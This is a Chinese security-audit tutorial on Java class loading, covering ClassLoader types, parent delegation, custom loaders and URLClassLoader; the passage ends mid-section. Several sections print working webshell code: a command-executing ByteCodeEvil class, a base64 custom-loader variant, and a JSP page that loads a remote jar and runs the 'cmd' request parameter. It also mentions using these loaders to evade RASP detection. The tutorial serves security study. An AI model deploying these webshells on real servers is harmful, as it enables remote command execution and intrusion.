• 「Java代码审计」Java代码审计基础知识



    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大

    少走了弯路,也就错过了风景,无论如何,感谢经历


    转移发布平台通知:将不再在CSDN博客发布新文章,敬请移步知识星球

    感谢大家一直以来对我CSDN博客的关注和支持,但是我决定不再在这里发布新文章了。为了给大家提供更好的服务和更深入的交流,我开设了一个知识星球,内部将会提供更深入、更实用的技术文章,这些文章将更有价值,并且能够帮助你更好地解决实际问题。期待你加入我的知识星球,让我们一起成长和进步

    0x01 前言

    Java 分为三个主要版本

    • Java SE(Java Platform,Standard Edition,Java平台标准版)
    • Java EE(Java Platform Enterprise Edition,Java平台企业版)
    • Java ME(Java Platform,Micro Edition,Java平台微型版)

    打包JAVA

    • 新建项目–默认下一步

    在这里插入图片描述

    • 改项目名字

    在这里插入图片描述

    • 新建一个源码包,例如:com.baidu.www

    在这里插入图片描述

    • 再新建一个class 类

    在这里插入图片描述

    • 补齐代码
    public static void main(String[] args) {
    
        }
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    • 添加测试代码
    package com.baidu.www;
    
    public class TestOrangey {
        public static void main(String[] args) {
            System.out.println("Holle Orangey");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    • file点击—>project structure添加对应的包和类,准备打包jar包

    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    • build artifacts

    在这里插入图片描述

    java -cp TestOgHello.jar com.baidu.www.TestOrangey
    
    • 1

    在这里插入图片描述

    0x02 ClassLoader(类加载机制)

    Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法defineClass0/1/2 )来定义一个java.lang.Class实例。

    在这里插入图片描述

    一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。

    在JVM类加载器顺序:

    • Bootstrap ClassLoader(引导类加载器):最顶层的加载类,主要加载核心类库

    这个类加载器使用C/C++语言实现的,嵌套在JVM内部,java程序无法直接操作这个类。
    它用来加载Java核心类库,如:JAVA_HOME/jre/lib/rt.jar、resources.jar、sun.boot.class.path路径下的包,用于提供jvm运行所需的包。

    并不是继承自java.lang.ClassLoader,它没有父类加载器
    它加载扩展类加载器和应用程序类加载器,并成为他们的父类加载器
    出于安全考虑,启动类只加载包名为:java、javax、sun开头的类

    • Extension ClassLoader(扩展类加载器):扩展的类加载器
    Java语言编写,由```sun.misc.Launcher$ExtClassLoader ```实现,可以用Java程序操作这个加载器

    派生继承自java.lang.ClassLoader,父类加载器为启动类加载器
    从系统属性:java.ext.dirs目录中加载类库,或者从JDK安装目录:jre/lib/ext 目录下加载类库。就可以将自己的包放在以上目录下,就会自动加载进来了

    • App ClassLoader(系统类加载器):加载当前应用的 classpath的所有类

    Java语言编写,由sun.misc.Launcher$AppClassLoader 实现。

    派生继承自java.lang.ClassLoader,父类加载器为启动类加载器
    它负责加载环境变量classpath或者系统属性java.class.path指定路径下的类库
    它是程序中默认的类加载器,我们Java程序中的类,都是由它加载完成的。

    可以通过ClassLoader#getSystemClassLoader() 获取并操作这个加载器

    AppClassLoader是默认的类加载器,如果类加载时不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

    一般情况下,以上3种加载器能满足我们日常的开发工作,不满足时,还可以自定义加载器比如用网络加载Java类,为了保证传输中的安全性,采用了加密操作,那么以上3种加载器就无法加载这个类,这时候就需要自定义加载器。自定义加载器继承java.lang.ClassLoader类,重写findClass()方法如果没有太复杂的需求,可以直接继承URLClassLoader类,重写loadClass方法,具体可参考AppClassLoader和ExtClassLoader

    // 方式一:获取当前类的 ClassLoader
    clazz.getClassLoader()
    // 方式二:获取当前线程上下文的 ClassLoader
    Thread.currentThread().getContextClassLoader()
    // 方式三:获取系统的 ClassLoader
    ClassLoader.getSystemClassLoader()
    // 方式四:获取调用者的 ClassLoader
    DriverManager.getCallerClassLoader()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    PS:某些时候获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。

    ClassLoader类有如下核心方法:

    • loadClass(加载指定的Java类)
    • findClass(查找指定的Java类)
    • findLoadedClass(查找JVM已经加载过的类)
    • defineClass(定义一个Java类)
    • resolveClass(链接指定的Java类)

    0x03 Java类

    Java是编译型语言,编写的java文件需要编译成后class文件后才能够被JVM运行

    例子:

    package com.anbai.sec.classloader;
    
    public class TestOrangey {
    
        public String orangey() {
            return "Hello Orangey";
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    javac TestOrangey.java
    
    • 1

    在这里插入图片描述

    javap -c  -p -l TestOrangey.class
    
    • 1

    在这里插入图片描述

    PS:通过JDK自带的javap命令反汇编TestOrangey.class文件对应的com.anbai.sec.classloader.TestOrangey类

    hexdump命令查看TestHelloWorld.class文件二进制内容

    hexdump -C TestOrangey.class 
    
    • 1

    在这里插入图片描述

    可以看出来JVM在执行TestHelloWorld之前会先解析class二进制内容,JVM执行的其实就是如上javap命令生成的字节码。

    0x04 Java类动态加载方式

    Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

    常用的类动态加载方式:

    // 反射加载TestOrangey示例,动态加载类,获取当前类的Class对象
    Class.forName("com.anbai.sec.classloader.TestOrangey");
    
    // ClassLoader加载TestOrangey示例
    this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestOrangey");
    
    • 1
    • 2
    • 3
    • 4
    • 5

    Class.forName(“类名”)默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法

    0x05 ClassLoader类加载流程

    类加载过程:

    当程序要使用某个类的时候,如果该类还没有被加载到内存中,系统会通过加载、连接和初始化三步来实现对该类的初始化。

    • 加载

    将class文件中的二进制数据数据读入到内存中,然后将该字节流所代表的静态存储结构转换为方法区中运行的数据结构,最终创建一个Class对象,任何类使用时系统都会创建该类的Class对象

    • 连接:

    验证:确保class文件中字节流包含的信息符合当前虚拟机的要求

    • 文件格式的验证:验证是否符合Class文件格式的规范
    • 元数据的验证:对字节码描述的信息进行语法校验
    • 字节码验证:验证程序的控制流程
    • 符号引用验证:发生在虚拟机将二进制符号转换为直接引用的时候

    准备:为类变量分配内存并设置初始值

    这些变量使用的内存都在方法区中分配这时候分配的内存仅包括,类变量(静态变量),实例变量会在对象实例化的时候,随着对象一起分配在堆内存中

    解析:将二进制符号的引用替换为直接引用

    • 初始化:
    • 父类静态(静态的成员变量,静态代码块)
    • 子类静态(子类静态成员变量,子类的静态代码块)
    • 父类非静态(非静态成员变量,构造代码块,构造函数)
    • 子类非静态(子类非静态成员变量,子类构造代码块,子类构造函数)
    • 类加载器的加载机制:

    双亲委托机制,当一个类加载器调用loadClass之后,并不会直接加载,而是先交给当前类加载器的父加载器加载,直到最顶层的父加载器。

    只有当父加载器无法完成加载的时候,子加载器才会尝试自己加载。

    破坏双亲委托机制:实现热部署

    理解Java类加载机制并非易事,以一个Java的Orangey来学习ClassLoader

    ClassLoader加载com.anbai.sec.classloader.TestOrangey 类重要流程如下:

    • ClassLoader会调用public Class loadClass(String name) 方法加载com.anbai.sec.classloader.TestOrangey类
    • 调用findLoadedClass方法检查TestOrangey类是否已经初始化,如果JVM已初始化过该类则直接返回类对象
    • 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestOrangey类,否则使用JVM的Bootstrap ClassLoader加载
    • 如果上一步无法加载TestOrangey类,那么调用自身的findClass方法尝试加载TestOrangey类
    • 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestOrangey类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类
    • 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false
    • 返回一个被JVM加载后的java.lang.Class类对象

    0x06 自定义ClassLoader

    java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

    以上说明:如果不通过loadClass来加载类,可以不重写findClass方法

    自定义类加载器的步骤:

    • 继承ClassLoader抽象类,也可以继承其他类比如URLClassLoader,AppClassLoader和ExtClassLoader都继承于URLClassLoader
    • 创建构造方法,并且构造方法中调用父类的构造方法,如果要加载的类在当前的classpath下,应该传入空的parent,避免AppClassLoader加载此类
    • 重写findClass方法,在这个方法中需要调用父类的defineClass方法,这个方法需要传入类文件的字节数组
    • 定义一个读取类文件的方法,传入类的全名称,方法字节数组

    既然已知ClassLoader具备了加载类的能力,写一个自己的类加载器来实现加载自定义的字节码(以加载TestOrangey类为例)并调用orangey方法

    如果com.anbai.sec.classloader.TestOrangey类存在的情况下,可以使用如下代码即可实现调用hello方法并输出:

    TestOrangey t = new TestOrangey();
    String str = t.orangey();
    System.out.println(str);
    
    • 1
    • 2
    • 3

    但是如果com.anbai.sec.classloader.TestOrangey根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestOrangey类,最后通过反射机制就可以调用TestOrangey类的orangey方法了。

    例如TestClassLoader代码:

    package com.anbai.sec.classloader;
    
    import java.lang.reflect.Method;
    
    public class TestClassLoader extends ClassLoader {
    
        // TestHelloWorld类名
        private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
    
        // TestHelloWorld类字节码
        private static byte[] testClassBytes = new byte[]{
                -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
                16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
                101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
                1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
                97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
                101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
                114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
                32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
                115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
                116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
                97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
                0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
                1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
                0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
                0, 0, 0, 2, 0, 12
        };
    
        @Override
        public Class<?> findClass(String name) throws ClassNotFoundException {
            // 只处理TestHelloWorld类
            if (name.equals(testClassName)) {
                // 调用JVM的native方法定义TestHelloWorld类
                return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
            }
    
            return super.findClass(name);
        }
    
        public static void main(String[] args) {
            // 创建自定义的类加载器
            TestClassLoader loader = new TestClassLoader();
    
            try {
                // 使用自定义的类加载器加载TestHelloWorld类
                Class testClass = loader.loadClass(testClassName);
    
                // 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
                Object testInstance = testClass.newInstance();
    
                // 反射获取hello方法
                Method method = testInstance.getClass().getMethod("hello");
    
                // 反射调用hello方法,等价于 String str = t.hello();
                String str = (String) method.invoke(testInstance);
    
                System.out.println(str);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63

    利用自定义类加载器可以在WebShell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密)。

    • Java中对象和字节数组互转
    package com.company;
    import java.io.Serializable;
     
    public class test implements Serializable {
        String name="test";
        public String example(){
            return "hello,word!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 创建要转换的类 test ,该类实现序列化
    package com.company;
    
    // 对象要继承Serializable接口
    import java.io.Serializable;
     
    public class test implements Serializable {
        String name="test";
        public String example(){
            return "hello,word!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 然后创建 object_array 类
    package com.company;
     
    import java.io.*;
    public class object_array   {
        public static void main(String[] args) throws Exception {
            test t =new test();
            System.out.print ( "java class对象转换为字节数组:\n" );
            byte[] bufobject = getBytesFromObject(t);
            for(int i=0 ; i<bufobject.length ; i++) {
                System.out.print(bufobject[i] + ",");
            }
            System.out.println ("\n");
            System.out.print ("字节数组还原对象:\n");
            Object object1 = null;
            object1=deserialize(bufobject);
            test t1 =(test)object1;
            System.out.println ("调用对象的成员变量:"+t1.name);
            System.out.println ("调用对象的成员函数:"+t1.example());
        }
        public static byte[] getBytesFromObject(Serializable obj) throws Exception {
            if (obj == null) {
                return null;
            }
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bo);
            oos.writeObject(obj);
            return bo.toByteArray();
        }
        public static Object deserialize(byte[] bytes) {
            Object object = null;
            try {
                ByteArrayInputStream bis = new ByteArrayInputStream(bytes);//
                ObjectInputStream ois = new ObjectInputStream(bis);
                object = ois.readObject();
                ois.close();
                bis.close();
            } catch (IOException ex) {
                ex.printStackTrace();
            } catch (ClassNotFoundException ex) {
                ex.printStackTrace();
            }
            return object;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    6.1 案例

    • 命令执行的类

    编译成二进制并且用base64编码

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.util.Base64;
    
    public class ByteCodeEvil {
    
        String res;
    
        public ByteCodeEvil(String cmd) throws IOException {
            StringBuilder stringBuilder = new StringBuilder();
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line).append("\n");
            }
            res = stringBuilder.toString();
            //System.out.println(res);
        }
    
        @Override
        public String toString() {
            return res;
        }
    
        public static void main(String[] args) throws IOException {
            InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");
            byte[] bytes = new byte[inputStream.available()];
            inputStream.read(bytes);
            String code = Base64.getEncoder().encodeToString(bytes);
            System.out.println(code);
            ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");
            System.out.println(byteCodeEvil);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能

    String cmd = request.getParameter("cmd");
    ClassLoader loader = new ClassLoader() {...};
    Class<?> clazz = loader.loadClass("ByteCodeEvil");
    Constructor<?> constructor = clazz.getConstructor(String.class);
    String result = constructor.newInstance(cmd).toString();
    
    • 1
    • 2
    • 3
    • 4
    • 5

    实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法,其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法

    如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载。

    在Java的类加载中的双亲委派机制:

    • 首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作

    例如,用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息

    下面重写findClass方法实现自定义类加载:

    package com.trevain.classload1;
    
    import java.util.Base64;
    
    public class TestClassLoader extends ClassLoader{
    
        // TestHelloWorld类名
        private static String testClassName = "ByteCodeEvil";//替换名字
        @Override
        public Class<?> findClass(String name) throws ClassNotFoundException {
            // 只处理TestHelloWorld类
            if (name.equals(testClassName)) {
                byte[] bytes = Base64.getDecoder().decode("base64_byte");//替换字节码
                // 调用JVM的native方法定义TestHelloWorld类
                return defineClass(testClassName, bytes, 0, bytes.length);
            }
            return super.findClass(name);
        }
        public static void main(String[] args) {
            // 创建自定义的类加载器
            TestClassLoader loader = new TestClassLoader();
    
            try {
                // 使用自定义的类加载器加载TestHelloWorld类
                Class<?> testClass = loader.findClass(testClassName);
    
                // 反射通过构造器新建对象
                Object testInstance = testClass.getConstructor(String.class).newInstance("net user");
                System.out.println(testInstance);
    
                // 反射获取hello方法
                //Method method = testInstance.getClass().getMethod("hello");
    
                // 反射调用hello方法,等价于 String str = t.hello();
                //String str = (String) method.invoke(testInstance);
    
                //System.out.println(str);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • URL类加载器实现的代码
    package com.trevain.classload1;
    
    import java.lang.reflect.InvocationTargetException;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class URLClassLoaderTest {
        public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
            // 定义远程加载的jar路径
            URL url = new URL("http://127.0.0.1:8000/javaEvalCmd.jar");
    
            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});
    
            // 通过URLClassLoader加载远程jar包中的CMD类
            Class<?> cmdClass = ucl.loadClass("wang.ByteCodeEvil");
            Object net_user = cmdClass.getConstructor(String.class).newInstance("net user");
            //System.out.println(net_user);
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 改成webshell
    <%@ page import="java.net.URL" %>
    <%@ page import="java.net.URLClassLoader" %>
    <html>
    <body>
    <h2>URLClassLoader加载远程jar的JSP Webshell</h2>
    <%
        response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/javaEvalCmd.jar")}).loadClass(
                "wang.ByteCodeEvil").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
    %>
    </body>
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    0x07 URLClassLoader

    URLClassLoader继承自SecureClassLoader,支持从jar文件和文件夹中获取class,继承于classload,加载时首先去classload里判断是否由bootstrap classload加载过,1.7 新增实现closeable接口,实现在try 中自动释放资源,但捕捉不了.close()异常

    public class URLClassLoader extends SecureClassLoader implements Closeable
    
    • 1

    例子:

    • 一个OrangeyHello.class文件,位于/Users/orangey/Desktop/javaa下
    public class OrangeyHello {
    
        public OrangeyHello() {
            System.out.println("Orangey Hello");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 通过URLClassLoader加载这个类

    注意:如果在当前的classpath也放置一个OrangeyHello.class文件,那么就会被APPClassLoader加载,而且加载不到/Users/orangey/Desktop/javaa下的OrangeyHello.class文件

    public class ClassLoaderTest {
    
        @Test
        public void urlClassLoaderTest() throws Exception {
            File file = new File("/Users/orangey/Desktop/javaa");
            URL url = file.toURI().toURL();
            ClassLoader loader=new URLClassLoader(new URL[]{url});
            Class<?> clazz = loader.loadClass("OrangeyHello");
            System.out.println("当前类加载器"+clazz.getClassLoader());
            System.out.println("父类加载器"+clazz.getClassLoader().getParent());
            clazz.newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 但若把URLClassLoader的父类设置为启动类加载器,就避免了委派给AppClassLoader时加载了classpath下的同名类文
    public class ClassLoaderTest {
    
        @Test
        public void urlClassLoaderTest() throws Exception {
            File file = new File("/Users/orangey/Desktop/javaa");
            URL url = file.toURI().toURL();
            ClassLoader loader=new URLClassLoader(new URL[]{url},null);//设为null表示由根加载器加载
            Class<?> clazz = loader.loadClass("OrangeyHello");
            System.out.println("当前类加载器"+clazz.getClassLoader());
            System.out.println("父类加载器"+clazz.getClassLoader().getParent());
            clazz.newInstance();
    
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 与反射创建类的区别

    反射创建常用Class.forName,通过类的全限定类名创建,但是只能创建classpath内的类,如果一个类不在classpath中,就只能使用类加载器来创建了

    URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,可使用这个特性来加载远程的jar来实现远程的类方法调用来写漏洞利用的payload或者webshell

    例子:

    • 远程加载的远程的cmd.jar,编译之前的CMD.class文件
    import java.io.IOException;
    
    public class CMD {
    
        public static Process exec(String cmd) throws IOException {
            return Runtime.getRuntime().exec(cmd);
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 然后创建TestURLClassLoader.java,加载
    package com.anbai.sec.classloader;
    
    import java.io.ByteArrayOutputStream;
    import java.io.InputStream;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    
    public class TestURLClassLoader {
    
        public static void main(String[] args) {
            try {
                // 定义远程加载的jar路径
                URL url = new URL("https://orangey.blog.csdn.net/cmd.jar");
    
                // 创建URLClassLoader对象,并加载远程jar包
                URLClassLoader ucl = new URLClassLoader(new URL[]{url});
    
                // 定义需要执行的系统命令
                String cmd = "ls";
    
                // 通过URLClassLoader加载远程jar包中的CMD类
                Class cmdClass = ucl.loadClass("CMD");
    
                // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
                Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
    
                // 获取命令执行结果的输入流
                InputStream           in   = process.getInputStream();
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                byte[]                b    = new byte[1024];
                int                   a    = -1;
    
                // 读取命令执行结果
                while ((a = in.read(b)) != -1) {
                    baos.write(b, 0, a);
                }
    
                // 输出命令执行结果
                System.out.println(baos.toString());
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 例子:打包一个命令执行的jar包
    package wang;
    
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStreamReader;
    
    public class ByteCodeEvil {
    
        String res;
    
        public ByteCodeEvil(String cmd) throws IOException {
            StringBuilder stringBuilder = new StringBuilder();
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line).append("\n");
            }
            res = stringBuilder.toString();
        }
    
        @Override
        public String toString() {
            return res;
        }
    
        public static void main(String[] args) throws IOException {
            ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");
            System.out.println(byteCodeEvil);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    运行:

    java -cp javaEvalCmd.jar wang.ByteCodeEvil
    
    • 1

    0x08 类加载隔离

    类隔离技术是为了解决依赖冲突而诞生的,它通过自定义类加载器破坏双亲委派机制,然后利用类加载传导规则实现了不同模块的类隔离。

    类隔离的原理:每个模块使用独立的类加载器来加载,这样不同模块之间的依赖就不会互相影响。不同类加载器加载的类在 JVM 看来是两个不同的类,因为在 JVM 中一个类的唯一标识是 类加载器+类名。通过这种方式我们就能够同时加载 C 的两个不同版本的类,即使它类名是一样的。注意,这里类加载器指的是类加载器的实例,并不是一定要定义两个不同类加载器。

    自定义的类加载器继承 java.lang.ClassLoader,然后重写类加载的方法(findClass(String name)或loadClass(String name) )方法来帮助我们实现了类隔离

    • loadClass(String name,boolean resolve ) :该方法为ClassLoader的入口点,根据指定的二进制名称加载类,系统就是调用ClassLoader的方法来获取指定类对应的Class对象。
    • findClass(String name) :根据二进制名称来查找类

    如果需要实现自定义的ClassLoader,可以通过重写以上两个方法来实现,推荐重写findClass()方法,而不是重写loadClass()方法。因为loadClass()方法的执行步骤如下:

    1. 用findLoadedClass(String) 来检查是否已经加载类,如果已经加载则直接返回
    2. 在父类加载器上调用loadClass方法。如果父类加载器为null,则使用根类加载器来加载
    3. 调用findClass(String) 方法查找类

    从上面步骤中可以看出,重写findClass()方法可以避免覆盖默认类加载器的父类委托、缓冲机制两种策略。如果重写loadClass()方法,则实现逻辑更为复杂

    在ClassLoader里还有一个核心方法:Class defineClass (String name, byte[] b,int off,int len ) 。该方法负责将指定类的字节码文件转化为class对象,该字节码文件可以来源于文件网络

    • 此处不多讲,想了解更多的请前往如下文章:

    https://www.cnblogs.com/xmzpc/p/15187495.html

    创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

    在这里插入图片描述

    8.1 跨类加载器加载

    RASP和IAST经过会用到跨类加载器加载类的情况,因为RASP/IAST 会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射。

    • 跨类加载器加载:
    package com.anbai.sec.classloader;
    
    import java.lang.reflect.Method;
    
